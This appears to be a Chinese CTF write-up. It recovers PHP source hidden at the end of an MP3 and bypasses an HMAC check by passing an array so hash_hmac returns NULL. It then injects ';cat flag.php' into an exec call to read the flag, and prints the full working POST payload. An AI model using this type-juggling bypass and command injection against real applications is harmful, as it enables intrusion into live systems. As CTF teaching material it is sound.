访问页面,view-source
一下;
题目暗示要听歌
;
点开mp3文件,在结尾发现了php源代码;
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
die('谁!竟敢踩我一只耳的尾巴!');
}
$clandestine = getenv("clandestine");
if(isset($_POST['White-cat-monitor']))
$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
if($hh !== $_POST['Black-Cat-Sheriff']){
die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}
echo exec("nc".$_POST['One-ear']);
首先需要POST参数Black-Cat-Sheriff
和One-ear
;
getenv()
从环境中取字符串,获取环境变量的内容;
然后POST参数White-cat-monitor
,并且HMAC算法
生成哈希值,调用两次;
最后判断生成的哈希值与Black-Cat-Sheriff
是否相等;
One-ear
需要去获取flag
的内容;
hash_hmac($algo, $data, $key)
这道题的难点应该在于如何在不知道获取的环境变量的情况下去得到两轮加密的哈希值;
如果我们让第一次加密得到的值是我们可知的,那么第二次加密得到的值也是我们可控的;
当传入的$data
为数组时,加密得到的结果固定为NULL
;
var_dump(hash_hmac('sha256', array(0), 'Unknown_key'));
得到的结果为null
;
上图参考PHP Manual文档;
如果加密的密钥$key
为null
的话,生成的哈希值也是我们所知的;
因此令$White-cat-monitor[]
=K1ose
;
那么根据代码的逻辑,我们先得知道flag放在哪个文件里;
扫一扫目录;
有个flag.php
;
令$One-ear
=;cat flag.php
;
这里的;
是为了结束nc
的指令,另起一个指令操作;
加密一下,获取hash值;
令$Black-Cat-Sheriff
=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6
POST这三个参数;
White-cat-monitor[]=K1ose&Black-Cat-Sheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6&One-ear=;cat flag.php
得到flag
;